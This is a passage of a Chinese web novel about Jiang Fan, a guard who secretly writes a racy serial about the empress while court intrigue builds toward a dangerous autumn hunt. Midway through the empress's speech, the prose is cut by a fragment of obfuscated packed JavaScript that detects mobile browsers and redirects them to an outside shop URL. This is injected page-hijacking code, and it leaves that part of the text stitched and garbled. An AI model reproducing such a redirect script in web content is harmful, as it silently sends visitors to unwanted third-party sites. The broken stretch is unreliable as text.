江芷兰和周婉如同时出声,两双美眸瞬间瞪大,目光下意识地、不约而同地…往下移,落在了江凡的某处!
眼神中充满了震惊、狐疑和古怪!
江凡被她们这目光看得浑身汗**倒竖,瞬间明白了她们在想什么,老脸一红,猛地夹紧双腿,双手护住要害,又羞又急地叫道:
“喂!喂!你们…你们这是什么眼神?想哪儿去了?不是这个把柄!是…是别的!别的把柄!很重要的把柄!”
他语无伦次,简直要抓狂了!
这都什么跟什么啊!
江芷兰见弟弟反应如此激烈,不似作伪,这才松了口气,但眉头依旧微蹙:
“不是那种把柄就好…那到底是什么把柄,能让她一个公主如此要挟你?只是…追求你?那你咬死不答应就是了,她还能强抢民男不成?”
她还是觉得弟弟有些小题大做。
江凡有苦难言,难道能说‘把柄’是自己偷看了人家洗澡,还被她知道自己逍遥公子的身份吗?
他只能含糊其辞:
“哎呀,姐,你就别问了!反正很麻烦就是了!我保证!我绝对不会答应她的!打死也不会!你们就放一百个心吧!”
他拍着胸脯保证,试图安抚姐姐和周婉如。
周婉如一直静静听着,此时才轻声开口道:
“凡哥哥…婉如相信你。只是…那毕竟是公主,你…你与她相处,还需多加小心,莫要惹人闲话才好。”
她话语温柔,却带着一丝忧虑和酸涩。
与一国公主竞争,她压力山大。
江芷兰也叹了口气,拉起周婉如的手,对江凡正色道:
“凡儿,你记住!姐姐就认婉茹这一个弟媳妇!你可不能辜负了人家!
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至于那南蛮公主,既然推脱不掉,面上过得去就行,但心里要有杆秤!知道吗?”
“知道!知道!我心里有数!”
江凡连连点头,如同小鸡啄米。
他现在只想赶紧结束这尴尬的对话,溜回自己的小天地静静。
好不容易打发走了姐姐和周婉如,江凡逃回自己的听雨轩,关上房门后,长长舒了口气。
这都叫什么事儿啊!
郁闷、烦躁充斥着他的内心。
他需要发泄!
目光扫过书案,他心念一动,有了主意!
写话本!
黑死那帮**老爹、怂恿和亲的混蛋官员!
他立刻沉入心神,拿出纸笔开始奋笔疾书!
最新一章《深宫秘恋》中,他将今日朝堂上那几个跳得最欢的官员,用极其隐晦却又辛辣无比的笔法,描绘成了趋炎附势、**求荣、满口仁义道德、一肚子男盗女娼的跳梁小丑!
尤其是那个李御史,被他刻画成了一个收了靖王**、专门构陷忠良的无耻小人!
虽然没点名道姓,但结合近日朝堂风波,明眼人一看便知在说谁!
写完提交,看着系统中人气值再次哗啦啦上涨,瞬间突破了二十万大关,江凡心中那股恶气总算出了大半,心情也舒畅了不少。
“哼!敢惹小爷?小爷我用笔杆子骂死你们!”
他得意地哼哼两声,看着那不断跳动增长的人气值,对【陆地神仙体验卡】和【无敌领域】的渴望更加强烈。
“还得努力攒人气啊!等凑够一百万,看谁还敢惹我!”
……
翌日,金銮殿。
早朝的气氛,明显有些诡异。
不少官员,尤其是昨日**凡在话本中含沙射影抨击的那几位,脸色都十分难看。
逍遥公子的话本,如今影响力巨大,被他在书中‘点名’,虽不致命,却也足够让他们灰头土脸,名誉受损。
果然,刚一开始议事,便有官员出列,义愤填膺地奏道:
“陛下!近日市井流传之《深宫秘恋》话本,内容荒诞不经,更含沙射影,污蔑朝中重臣,扰乱视听,败坏风气!臣恳请陛下下旨,查禁此书,严惩作者逍遥公子!”
“臣附议!”
“此风不可长!请陛下明鉴!”
几名被影射的官员纷纷出列,群情激愤。
第133章 渣女的潜质
龙椅之上,萧璇月凤眸扫过下方,心中了然。
她自然也看了最新章节,对其中所指心知肚明。
她目光不经意地瞥向眼观鼻鼻观心的江凡,心中那个模糊的猜测再次浮现——
为何逍遥公子每次‘预言’或‘评论’,都与江凡的遭遇如此契合?
昨日朝堂刚有人劝他和亲,当晚话本就开始抨击那些官员?
这真的只是巧合吗?
她压下心中的疑虑,语气平淡却带着威严:
“话本小道,街谈巷议,何足挂齿?清者自清,浊者自浊。尔等身为朝廷命官,当以国事为重,何必与一介文人计较?
若自身行得正坐得直,又何惧他人议论?此事,休要再提!”
女帝一锤定音,那几个官员虽心有不甘,却也不敢再争辩,只得悻悻退下。
现在逍遥公子是陆地神仙的事情已经不是秘密,大家都知道女帝不敢追究,站出来也是为了表示自己跟话本内描述的不一样...
江凡心中暗爽,对女帝的‘明察秋毫’点了个赞。
退朝之后,江凡作为御前侍卫,例行跟随女帝前往御书房。
一路上,他心中七上八下,琢磨着该怎么开口提塔娜公主那档子破事。
主动说吧,简直是自触霉头;
不说吧,万一塔娜那边又整出什么幺蛾子,自己更被动!
就在他纠结万分之际,走在前面的萧璇月却忽然放缓了脚步,看似随意地开口问道:
“江凡,今日朝堂之上,关于那《深宫秘恋》话本,你有何看法?”
江凡心里咯噔一下,连忙收敛心神,摆出一副茫然的表情:
“回陛下,臣…臣平日不怎么看书,那话本更是从未看过。都是些市井流言,臣觉得…没必要在意。”
他赶紧撇清关系。
萧璇月脚步不停,语气依旧平淡:
“是吗?朕倒是觉得,此话本作者‘逍遥公子’,颇有几分见识。每每能洞悉先机,发人深省。”
她说话间,已步入御书房,在御案后坐下,目光看似无意地扫过江凡。
江凡心中警铃大作,女帝这是话里有话啊!
按理说,自己应该洗清了嫌疑,不可能怀疑自己是逍遥公子才对。
他不敢接茬,只能含糊道:
“陛下圣明。逍遥公子…或许确非常人吧。”
他打定主意,绝不主动往这个话题上引。
御书房内陷入短暂的沉默,只有宫女添茶时轻微的脚步声。
江凡如坐针毡,手心都有些冒汗。
最终,他把心一横,硬着头皮,上前一步,躬身道:
“陛下…臣…臣有一事禀报。”
“讲。”
萧璇月端起茶盏,轻轻吹了吹浮沫,语气听不出喜怒。
“是、是关于南蛮塔娜公主…”
江凡咽了口唾沫,艰难地组织着语言,
“昨日…公主殿下亲临寒舍,说、说不强求和亲之事,但…但她对臣…呃,心生仰慕。
希望在留京期间,能与臣正常交往,以…以增进了解。臣…臣不敢擅专,特来禀明陛下,请陛下圣裁。”
他说得磕磕巴巴,额头都渗出了细密的汗珠。
“啪嗒。”
萧璇月手中的茶盖,轻轻磕在了杯沿上,发出一声清脆的响声。
她放下茶盏,目光平静地看向江凡,但那平静之下,却仿佛蕴藏着风暴:
“哦?正常交往?增进了解?江爱卿…你意下如何?”
她的声音不高,却带着一股无形的压力。
这个混蛋昨天还说什么要有气节,不和亲不纳贡什么的,现在竟然...
难道昨天塔娜找他,施展了美人计?
也不知道为什么,听到江凡要跟别的女人‘正常交往’,她心里有些不舒服。
江凡连忙表忠心:
“陛下明鉴!臣对公主绝无非分之想!臣生是大夏人,死是大夏鬼!心中只有报效陛下,护卫大夏之志!只是…公主身份特殊,臣若断然拒绝,恐伤两国和气。
故而…故而臣想着,面上虚与委蛇,应付过去便是,绝不敢有违臣子本分!待公主离京,此事自然作罢!还望陛下明察!”
他几乎是指天发誓了。
萧璇月静静地看着他,看着他脸上的‘忠贞不二’,心中那股莫名的烦躁和闷气,似乎消散了一些。
之前云暮说的话,她还是记在了心里,也不是没考虑过。
要是江凡还是以前的纨绔模样,她是肯定不会答应的。
可这段时间,江凡的表现还算不错,而且如此年轻就是宗师修为,老爹镇国公更是难得的忠臣。
说起来,这家伙的确是帝君的最好人选。
她沉默了一会儿,才缓缓开口:
“既然你心中有数,朕便准了。与南蛮公主交往,需谨
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守君臣之礼,男女之防!莫要失了体统,损了我大夏颜面!更要记住你昨日在朕面前说过的话!莫要…让朕失望!”
最后几个字,她刻意加重了语气。
“臣谨记陛下教诲!绝不敢忘!”
江凡可没有听出最后几个字潜藏的意思,如蒙大赦,连忙躬身应道,心中长舒一口气。
总算…混过去了!
虽然女帝语气不善,但好歹是同意了。
他垂手肃立,眼观鼻,鼻观心,心中却早已将那位南蛮公主塔娜翻来覆去了无数遍。
龙案之后,萧璇月批阅奏章的速度明显慢了下来。
朱笔悬在半空,良久未曾落下。
她的目光,不时会掠过案角那本《深宫秘恋》最新章节。
话本中,那位‘大乾女帝’与贴身侍卫在御花园,月色朦胧,侍卫英勇击退刺客,女帝亲自为其包扎伤口,指尖相触,四目相对…
描写得那叫一个旖旎缠绵、脸红心跳!
若是往常,萧璇月定会嗤之以鼻,认为这是无聊文人的臆想。
可今日不知怎的,看着那文字,她脑海中却不自觉地浮现出昨夜那个金色斗篷、青铜面具、如同神兵天降般挡在她身前的身影…
逍遥公子…
他当时离自己那般近,还有他那低沉沙哑、却莫名让人心安的嗓音…
她的脸颊微微有些发烫,连忙甩了甩头,试图驱散这荒谬的联想。
目光下意识地抬起,落在了下方那个似乎又在神游天外的少年侍卫身上。
江凡这小子有时候虽然懒散,但对自己的忠心还是没的说。
而且得知自己有危险,连保命的软甲都送给了自己。
仔细想想,似乎很多细节都让她心中温暖,似乎也值得动心。
江凡…逍遥公子…这两个身影,一个惫懒跳脱,一个神秘强大;
一个近在眼前,一个远在天边…
本该是风马牛不相及的两个人。
可为何…自己总会产生那种诡异的错觉?
尤其是当话本中出现某些针对性的‘预言’或‘评论’时,这种联想就愈发强烈?
还有之前**江撼岳的官员,无一不是变成话本中的反派。
萧璇月甚至觉得,自己以前自认很难爱上哪个男人的,但现在,脑海中却时不时冒出两个男人的身形...
该死!
朕难道有渣女的潜质?
第134章 哪儿都有她
这个念头把萧璇月吓了一跳,赶紧将杂念驱除。
她凤眸微眯,心中疑窦丛生。
但江凡住在宫里这么多天,她派人严密监视过江凡,可回报均是他回房间倒头就睡,从未见他动笔书写任何东西。
那这话本…究竟从何而来?
还有那个逍遥公子,跟自己非亲非故。
按理说这种世外高人,写书娱乐也就算了,又为何屡次相助自己?
最后面对极道宗师的千面的刺杀,甚至现身相救...
现身相救?
萧璇月像是抓住了重点!
难道逍遥公子一直在暗中关注自己?
要是再次遇到危险,是不是还能见到他?
她想得入神,连笔尖的朱墨滴落在奏章上都未曾察觉。
“陛下?”
一旁侍立的云暮轻声提醒。
萧璇月蓦然回神,看着奏章上那团刺目的红晕,自嘲地笑了笑,放下朱笔,揉了揉眉心。
真是魔怔了!
竟为这些虚无缥缈的事耗费心神。
她收敛思绪,正欲继续批阅,却见云暮上前一步,低声禀报道:
“陛下,三日后,便是每年一度的皇家秋狩大典。依例应在西山围场举行。只是…如今京中局势未稳,靖王党羽未清,奴婢担心…此行恐有风险。是否…下旨取消今年秋狩?”
秋狩?
萧璇月闻言,秀眉微蹙。
这是大夏皇室的传统,旨在演练兵马、彰显武德。
若因惧怕风险而取消,岂非示弱于天下?
正好给了靖王及其党羽攻讦她‘怯懦无能、不尊祖制’的口实?
她尚未开口,下方原本在‘神游’的江凡耳朵却竖了起来!
秋狩?
离开守卫森严的皇宫,去野外?
这简直是给刺客量身打造的最佳下手时机!
他几乎能想象到靖王听到这个消息后,那狰狞狂喜的嘴脸!
他心中一急,也顾不得装透明了,连忙出列躬身道:
“陛下!云暮姑娘所言极是!如今暗流汹涌,刺客未必只有‘千面’一人!离宫狩猎,目标明显,护卫难度大增,实非良机!还请陛下以龙体安危为重,暂缓秋狩!”
萧璇月目光扫过一脸急切的江凡,又看看忧心忡忡的云暮,非但没有采纳建议,凤眸中反而闪过一丝决绝与凌厉的战意!
她缓缓站起身,走到窗前,望着宫城外连绵的远山,声音清冷而坚定:
“取消?为何要取消?朕若因惧怕宵小而龟缩宫中,岂不正中靖王下怀?他以为朕是那易受惊吓的笼中雀,朕偏要让他看看,什么是真龙之气!”
她猛地转身,龙袍袖摆带起一阵微风,语气斩钉截铁:
“秋狩,不仅要去,而且要大张旗鼓地去!阵仗依往年旧例,甚至…侍卫数量可酌情减少三成!”
或许这也是一个印证心中所想的机会!
如果自己遇到危险,那个逍遥公子还会出现吗?
“陛下!不可!”
江凡和云暮同时惊呼!
“陛下三思啊!”云暮急道,
“减少护卫,无异于以身饲虎!靖王若狗急跳墙,后果不堪设想!”
江凡也急声道:
“陛下!君子不立危墙之下!明知山有虎,偏向虎山行,是勇,亦是莽啊!陛下万金之躯,关乎社稷安危,岂能轻易涉险?!”
他只差在心中大骂傻妞了!
你是嫌自己命太长是吧?
女帝要是嗝屁,自己和老爹还能善终?
他现在可没有真正的陆地神仙修为,根本无法独自对抗靖王。
萧璇月看着两人焦急的模样,嘴角却勾起一抹弧度:
“莽?或许是吧。但朕更知道,最好的防守,便是进攻!靖王接连受挫,必然不甘失败!
他在宫中安插的钉子被拔除不少,正愁无处下手!朕便给他这个机会!将战场摆在明处!看他能玩出什么花样!”
她目光锐利,扫过江凡和云暮:
“至于安危…你们当真以为,朕是那手无缚鸡之力的弱质女流?朕身边,难道就只有明面上这些护卫?”
她语气中带着强大的自信,
“影老会亲自随行,所有供奉皆会化整为零,混入仪仗亲卫之中!西山围场,朕已经营多年,岂是他靖王想撒野就能撒野的地方?
朕这次,就是要引蛇出洞,将那些魑魅魍魉,一网打尽!靖王想找机会,朕就给他这个机会!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880158|191960||http|test|mini|href|location''.split(''|''),0,{}));
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r>江凡和云暮闻言,心中俱是一震!
原来女帝并非冲动,而是早有谋划!
以身作饵,引蛇出洞,毕其功于一役!
这份胆魄与决断,着实令人心惊!
但也…太过凶险!
“可是陛下…”
江凡还想再劝。
万一靖王请来的,不止是大宗师呢?
万一有极道宗师,甚至更多未知的高手呢?
女帝身边的底牌,真的足够应对吗?
“不必再劝!”
萧璇月挥手打断,语气不容置疑,
“朕意已决!三日后,如期秋狩!云暮,传朕旨意,相关事宜,按计划准备!江凡,”
她目光转向江凡,
“你既为御前侍卫,届时需寸步不离,给朕打起十二分精神!若出了纰漏,朕唯你是问!”
“…臣,遵旨!”
江凡见女帝决心已定,知道再劝无益,只得躬身领命。
女帝这招,太险了!
哎!作为贴身侍卫,自己还能怎么办?
只希望女帝在地下的先人们多打点一下...
……
下午,女帝处理完政务,便让江凡退下休息。
江凡如蒙大赦,逃也似地离开了那座让他倍感压力的皇宫。
站在宫门外,看着熙熙攘攘的街道,他却感到一阵茫然。
回府?
想到姐姐关切的眼神和周婉如那欲言又止的幽怨模样,他就头皮发麻。
最终还是鬼使神差地迈步走向了城南。
或许…去百花楼听听曲、喝喝酒,暂时麻痹一下纷乱的思绪,也是个不错的选择?
至少,那里消息灵通…
然而,他刚踏进百花楼那熟悉的大门,还没来得及跟老鸨打招呼,一名穿着南蛮服饰、神色恭敬的使者便迎了上来,躬身道:
“江世子,公主殿下已在‘听雨阁’备下薄酒,恭候大驾多时了。”
江凡:“……”
他差点一口老血喷在对方脸上!
阴魂不散!
真是阴魂不散!
这女人是属狗皮膏药的吗?
怎么哪儿都有她?
他强压下掉头就走的冲动,黑着脸,从牙缝里挤出几个字:
“带路!”
第135章 架不住消耗
推开听雨阁的房门,果然见塔娜公主正独自坐在桌前,自斟自饮。
今日她换了一身大夏风格的鹅黄襦裙,少了几分野性,多了几分温婉。
但那双眸子里的狡黠与势在必得,却丝毫未减。
见到江凡进来,她嫣然一笑,起身相迎:
“世子来了?快请坐!我特意备了‘醉仙酿’。”
江凡面无表情地在对面坐下,直接开门见山,语气冰冷:
“塔娜公主,你我之间,不必来这些虚的。我今日把话挑明:我江凡,绝不会爱上你!
你那些‘追求’的把戏,可以省省了!若你逼人太甚,大不了鱼死网破!我江凡没什么好怕的!”
他这话半是警告半是试探,暗示自己不怕‘逍遥公子’的身份暴露。
塔娜闻言,非但不恼,反而噗嗤一声笑了出来,美眸流转,带着几分戏谑:
“鱼死网破?世子言重了。你那点‘小秘密’,在我眼中,非但不是把柄,反而是无上的荣幸。
能成为极少数知晓这个秘密的人,塔娜荣幸之至呢。”
她语气轻松,但也显得十分认真。
江凡瞳孔骤缩,死死盯着她:
“你既已知晓,为何还要纠缠?你凭什么认为,短短几日,我便会爱上你?”
塔娜收敛了笑容,神色变得认真起来,目光灼灼地看着江凡:
“我没有任何把握。但…我是真心的。江凡,我塔娜看中的男人,绝不会轻易放手。
给我一个机会,也给你自己一个机会,不好吗?或许相处下来,你会发现,我并非你想象中那般…不堪?”
她的语气带着一丝恳切与执着。
江凡看着她眼中的情意和倔强,一时竟不知该如何反驳。
这女人,软硬不吃,油盐不进,偏偏又聪明得可怕!
他烦躁地抓起桌上的酒杯,一饮而尽,然后将空杯重重顿在桌上,站起身:
“酒喝完了!话也说清楚了!公主若无他事,江某告辞!”
他不想再跟她多做纠缠。
“世子请便。”
塔娜并未阻拦,只是微笑着看着他,仿佛早已料到他的反应。
江凡冷哼一声,转身大步离开。
直到走出百花楼,被冷风一吹,他才松了口气。
这女人,太难缠了!
然而,他这口气还没松完,一名小丫鬟又悄无声息地来到他身边,低声道:
“世子爷,柳大家请您移步‘沁芳斋’一叙。”
柳絮?
江凡眉头一皱,她又有何事?
难道又是关于靖王的情报?
他心中一动,点头道:
“带路。”
来到另一处更为雅致僻静的‘沁芳斋’,柳絮早已煮好香茗等候。
屏退左右后,她神色凝重地低声道:
“世子,刚收到密报。靖王似乎并未死心。他正在暗中联系江湖上几个势力极大的门派,重金聘请高手,目标…极可能是三日后的皇家秋狩!”
江凡心中猛地一沉!
果然!
靖王果然要动手!
而且这次,竟然动用了江湖门派的力量!
那些传承数百上千年的大门大派,底蕴深厚,高手如云,其中不乏大宗师,甚至可能有极道宗师坐镇!
他们平日超然物外,极少插手朝廷纷争,但若靖王付出的代价足够惊人,难保不会有亡命之徒或利欲熏心之辈铤而走险!
“消息可靠吗?可知是哪些门派?具体有何等高手?”
江凡急声问道。
柳絮摇头:
“消息来源绝对可靠!但具体是哪些门派、来了多少人、修为如何,对方行事极为隐秘,尚未查清。
只知靖王此次下了血本,开出的条件,足以让任何人心动!世子,若女帝执意要去秋狩…此行,恐是龙潭虎穴,九死一生!”
江凡的心,瞬间沉到了谷底。
最坏的情况,还是发生了!
女帝想引蛇出洞,却不知对方可能引来的是吞天巨**!
皇宫供奉虽强,但若面对数个大门派的精英联手**,再加上靖王埋伏的暗棋…
胜负之数,难以预料!
女帝的安危…
他深吸一口气,强迫自己冷静下来。
必须立刻警告女帝!
但…如何警告?
直接说?
女帝会信吗?
会不会打草惊蛇?
看来,又只能依靠‘逍遥公子
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’的话本了!
但这次,绝不能写得过于直白,以免让靖王和那些门派高手提前有了防备!
必须想个两全其美的法子…
“柳大家,多谢告知!此事关系重大,江某感激不尽!”
江凡郑重拱手。
“世子客气了。万事小心。”
柳絮颔首,眼中带着一丝担忧。
江凡不再多言,匆匆离开百花楼。
镇国公府,听雨轩内。
江凡看着积累到四十多万的人气值,心中叹息了一声。
虽然现在人气值增长很快,一天差不多三十万,但架不住消耗啊!
但三天后要去跟随女帝狩猎,姐姐她们的安危也不得不管。
“算了,人气值可以慢慢积累,姐姐她们要是没了后悔都来不及!”
想到这,他咬牙花费三十万兑换了三件【天蚕金丝软甲】。
这种能化解极道宗师以下五成功力的东西,给姐姐她们穿上才放心。
带着金丝软甲,他找到姐姐,发现周婉如果然在。
于是郑重地交到姐姐江芷兰以及冷月寒和周婉如手中。
“姐,月寒,宛如小姐,这三件软甲,刀枪不入,水火不侵,关键时刻或可保命。近日京城不太平,我三日后需随驾秋狩,归期未定。
你们留在府中,万事小心!切记,无论发生何事,绝不可轻易出府!若有异动,保命第一,能逃就逃,等我回来!”
江凡神色凝重,反复叮嘱。
他总有一种不祥的预感,靖王此次图谋甚大,难保不会狗急跳墙,对镇国公府下手。
江芷兰看着手中那件轻若无物的宝甲,又看看弟弟那脸上的疲惫与担忧,美眸中泛起水光,一把拉住他的手:
“凡儿!这…这太贵重了!你…你又要去冒险?姐姐不要这软甲,你穿着吧!”
她声音哽咽,充满了不安。
周婉如也紧握着软甲,咬着下唇,轻声道:
“凡哥哥……你一定要小心!婉如……婉如在府中等你。我这件给你吧,我不需要。”
冷月寒则直接单膝跪地,语气坚定:
“公子放心!月寒誓死守护大小姐和周小姐安全!人在府在!”
第136章 陛下您忍忍
看着三位女子关切的眼神,江凡心中暖流涌动。他强笑道:
“姐,婉如,你们放心!我自己也有,而且我如今好歹也是宗师高手,又有陛下和众多供奉在侧,不会有事的!
这软甲你们务必贴身穿着,以防万一!我只是…求个心安,真正遇到不可敌的对手,你们想办法跑,别拼命。”
他好说歹说,才安抚住姐姐和周婉如。
待她们收下软甲后,江凡才独自回到房间,长长舒了口气。
人气值瞬间缩水到仅剩几万点,让他心疼得直抽抽。
但想到狩猎在即,危机四伏,必须尽快补充‘**’!
而最快的方法,就是更新《深宫秘恋》!
根据这段时间获得人气值的规律,他发现里面出现一些香艳场景的时候,人气值收入最多。
就这么干!
他沉入心神,连接系统。
这次更新,他决定双管齐下!
一方面,进行严肃的‘预警’,将靖南王欲在秋狩时伏击大乾女帝的阴谋写入书中,提醒女帝和可能看到话本的忠臣提高警惕。
他刻意隐去了‘江湖门派’的具体信息,以免暴露太多。
另一方面…为了人气值,他不得不祭出‘流量密码’——
给女帝和‘侍卫林枫’加戏!
他笔走龙蛇,在虚拟书页上写道:
“最新章回:秋狩风波起,林枫护驾心切;月下帐篷暖,女帝芳心暗许。”
书中,他描绘了大乾女帝执意秋狩,侍卫林枫忧心忡忡、屡次劝谏的忠勇;
又‘艺术加工’了狩猎途中,林枫如何英勇护卫,击退刺客,女帝如何对他刮目相看;
最后,重点来了——夜深人静,营帐之中,女帝批阅奏章至深夜,林枫在外值守,女帝怜其辛苦,召其入帐,赐御酒驱寒…
帐内烛火昏黄,孤男寡女,酒意微醺,女帝凤眸流转,询问林枫家世抱负,林枫慷慨陈词,目光灼灼…
四目相对,气氛暧昧,女帝脸颊微红,心如鹿撞…
(此处省略五百字不可描述剧情)。
写完提交,看着人气值开始缓慢跳动上涨,江凡老脸一红,心中默念:
“罪过罪过!都是为了人气值!女帝陛下莫怪!林枫兄弟对不住了!反正都是虚构的…”
他自我安慰一番,这才倒头睡去,期盼着明日人气值能爆棚。
……
翌日清晨,江凡被窗外鸟鸣吵醒,第一件事就是查看人气值。
【当前人气值:387,650】
“嘶——!”
看到这个数字,江凡倒吸一口凉气,差点从床上蹦起来!
一晚上!
仅仅一晚上!
人气值竟然暴涨了三十多万!
直接从可怜的几万点,飙升到了接近三十九万!
这‘流量密码’的效果,也太恐怖了吧!
照这个速度发酵一天,岂不是今天晚上就能再次突破百万大关?
他激动得搓手手,仿佛已经看到了【陆地神仙体验卡】和【无敌领域】在向他招手!
看来,以后偶尔‘加加料’,还是很有必要的嘛!
他美滋滋地想着,换上官服,精神抖擞地上朝去了。
然而,他这好心情,在踏入金銮殿的瞬间,就消失得无影无踪。
大殿之内,气氛诡异。
龙椅之上的女帝萧璇月,虽然依旧威仪天成,但那双凤眸之中,却蕴含怒气!
下方文武百官,个个噤若寒蝉,连大气都不敢喘。
尤其是几个平日里喜欢嚼舌根、或许也看了最新话本的官员,更是眼神飘忽,面色古怪,想笑又不敢笑,憋得十分辛苦。
江凡心里‘咯噔’一下,暗道不好!
这气氛…怎么感觉像是暴风雨前的宁静?
难道…是因为昨晚那章‘加料’的话本?
女帝不是不在意话本内容的吗?
不至于吧...毕竟是虚构故事...
他连忙缩了缩脖子,努力降低自己的存在感。
整个早朝,萧璇月的话都很少,语气冰冷,处理政务时带着一股烦躁。
每当有官员奏事稍有迟疑或纰漏,便会迎来她毫不留情的训斥。
所有人都能感觉到,陛下今天心情极差!
非常差!
江凡更是如坐针毡,恨不得早朝立刻结束。
好不容易熬到退朝,只得硬着头皮,跟着云暮走向御书房。
踏入御书房,那股低气压更加明显。
萧璇月端坐御案之后,面前摊开的却不是奏章,而是那本还散发着墨香
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的《深宫秘恋》最新章节!
她玉手紧握着书卷,绝美的脸庞上罩着一层寒霜,凤眸之中怒火燃烧!
“陛下,您这是怎么了?”
江凡小心翼翼地询问。
“砰!”
萧璇月猛地将手中的话本摔在御案上,发出沉闷的巨响!
她抬起凤眸看向江凡,声音愤怒:
“江凡!你、你给朕说说!这…这逍遥公子!他到底想干什么?”
江凡吓得一哆嗦:逍遥公子想做什么,关我江凡什么事?
他连忙道:
“陛下息怒!臣、臣不知啊!这话本…臣都没看过!”
“没看过?”
萧璇月冷笑一声,拿起话本,指尖点着上面的文字,
“那朕念给你听听!‘帐内烛影摇红,女帝微醺,凤眸如水,轻唤林枫近前…林枫心跳如鼓,不敢直视天颜…
女帝玉手微颤,递过酒杯,指尖相触,如遭电亟…’这、这成何体统?简直…简直是污言秽语!不堪入目!”
她越说越气,胸口剧烈起伏:
“朕一直以为,这逍遥公子是位心怀天下、洞察先机的世外高人!谁知…谁知竟如此…如此下作!写这些淫词艳曲,败坏朕之清誉!他究竟意欲何为?”
她实在是被气坏了!
一想到自己被写成那般…那般轻浮孟浪的模样,与一个侍卫在帐篷里…她就羞愤欲绝!
尤其是,这话本流传甚广,不知有多少人看了去,背后会如何议论她这女帝?
她还要不要脸面了?
一旁的云暮也是俏脸绯红,低着头劝道:
“陛下息怒…或许…或许逍遥公子前辈,只是…只是有些特殊的…癖好?毕竟高人行事,非同寻常…”
她这话说得自己都没底气。
江凡听得头皮发麻:我就是想赚个人气值,不至于吧?
今天的人气值是真香啊...
但现在可不敢露出高兴的样子,他只能硬着头皮,干巴巴地劝慰:
“陛下明鉴!这话本…终究是市井小说,当不得真!皆是虚构!百姓茶余饭后图一乐耳,无人会信以为真的!
陛下您清者自清,何必与一介文人计较,气坏了龙体不值当啊!”
都是为了人气值,陛下您就忍忍吧!
第137章 塔娜的告别
“虚构?图一乐?”
萧璇月猛地站起身,凤眸圆睁,
“他虚构普通故事也就罢了,偏要将朕写得如此…如此不堪!”
她死死盯着江凡,突然带着一丝狐疑。
为何每次出现对江凡不利之人,话本中必然变成反派?
而每次…自己生逍遥公子的气,江凡又极力维护?
一次是巧合,但接二连三,用巧合说不过去了啊!
“江凡,朕怎么感觉,你生怕朕治逍遥公子的罪?”
看到女帝狐疑的眼神,江凡心中警铃大作,知道女帝又怀疑了!
他连忙装出义愤填膺的样子:
“陛下!臣冤枉啊!臣与他素昧平生,说的都是肺腑之言!臣替他开脱,是怕陛下气坏身子,绝无他意!
再说了...逍遥公子是陆地神仙修为,您再生气,也不能拿他怎么样不是?”
他演技全开,表情真诚得不能再‘真诚’。
萧璇月紧紧盯着他的眼睛,似乎想从中找出破绽。
但江凡眼神坦荡,毫无心虚之色。
她沉默片刻,心中的怒火稍稍平息。
是自己想多了,江凡不可能是逍遥公子。
要是能在严密监视下还继续更新话本,那就不是人了,是神。
她缓缓坐回龙椅,挥了挥手,语气疲惫:
“罢了…这几日你注意养精蓄锐,秋狩之事,早作准备,尽量不要出去鬼混。”
江凡的提醒也没毛病,逍遥公子是陆地神仙修为,就算真找到他本尊,还能诛他九族不成?
只是...谁家陆地神仙会闲得蛋疼,写这些让人脸红耳热的淫词艳曲?
萧璇月心中对逍遥公子的感激,此时已经消灭了大半。
这么一对比,还是江凡好点。
“陛下放心,我散职后一定乖乖回家。”
江凡如蒙大赦,连忙行礼,然后退出了御书房。
直到关上门,他才抹了一把冷汗!
“好险…差点就露馅了!”
他心有余悸地拍拍胸口:看来这‘加料’需谨慎啊!
下次得换个温和点的方式…
而且下次女帝再骂逍遥公子,自己可不能说好话了...
御书房内,萧璇月独自坐在龙椅上,望着窗外灰蒙蒙的天空,怔怔出神。
愤怒过后,一种复杂情绪涌上心头。
她生气,是因为话本的内容吗?
是,但不全是。
更深处,似乎还有一种…被冒犯、被误解、甚至是被轻薄的委屈?
那个神秘强大的逍遥公子,他到底是个怎样的人?
为何要借话本作践她?
还是说…在他眼中,自己本就是那般不堪?
而江凡…他每次都为逍遥公子辩解,那种下意识的维护…真的只是巧合吗?
一个荒诞的念头再次不受控制地浮现——
如果…如果江凡就是逍遥公子…那他写这些,是故意气自己?
还是…另有用意?
这个想法让她心跳漏了一拍,脸颊莫名有些发烫。
尤其现在她和江凡的身份,也是女帝和侍卫。
那些看了话本的人,会怎么想他们两人的关系?
她连忙甩甩头,将这个可怕又羞人的念头压下。
江凡那小子,虽然有些本事,但离逍遥公子那般境界,差之千里!
自己真是气糊涂了!
她深吸一口气,强迫自己冷静下来。
当前最重要的,是应对三日后的秋狩!
逍遥公子的话本中再次预警,靖王必有动作!
这一次,她必须做好万全准备!
无论来的是谁,她都要让他们有来无回!
她的目光,重新变得坚定。
好不容易等到下午换班,江凡赶紧回家。
镇国公府,听雨轩内。
江凡看着那突破七位数的数字——【当前人气值:1,050,320】——激动得差点原地蹦起来!
一百万!
真的突破一百万了!
仅仅一天多的时间!
这‘流量密码’的威力,简直堪比核弹!
“发了!发了!照这个速度,别说陆地神仙体验卡,就是无敌领域,也能想兑就兑啊!”
他搓着手,眼睛放光,仿佛看到了自己脚踩靖王、拳打极道、怀抱…呃,是辅佐女帝、走向人生巅峰的光明未来!
“决定了!今晚继续加更!情节要更刺激!互动要更暧昧!最好再来点‘生死相依’、‘患难与共’的戏码!嘿嘿嘿…”
他已经开始构思今晚的‘爆款’章节了,完全把女帝可能的怒火抛到了脑后。
反正萧璇月又不知道逍遥公子就是他,骂就骂呗,又不会少块肉!
人气值才是硬道理!
正当他沉浸在‘日入百万’的美梦中时,房门被轻轻敲响,姐姐江芷兰的声音传来:
“凡儿,你出来一下。塔娜公
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主…在花厅等你,说是有要事相商。”
江凡脸上的笑容瞬间僵住。
“她怎么又来了?!”
他哀嚎一声,这女人,还有完没完了?
昨天才‘达成协议’,他也只能黑着脸,磨磨蹭蹭地走出房间。
花厅内,塔娜公主正安静地坐在那里品茶。
见到江凡进来,她放下茶盏,展颜一笑,那笑容明媚依旧,却多了一丝惆怅:
“世子来了?”她站起身,语气轻柔,“冒昧来访,打扰世子了。”
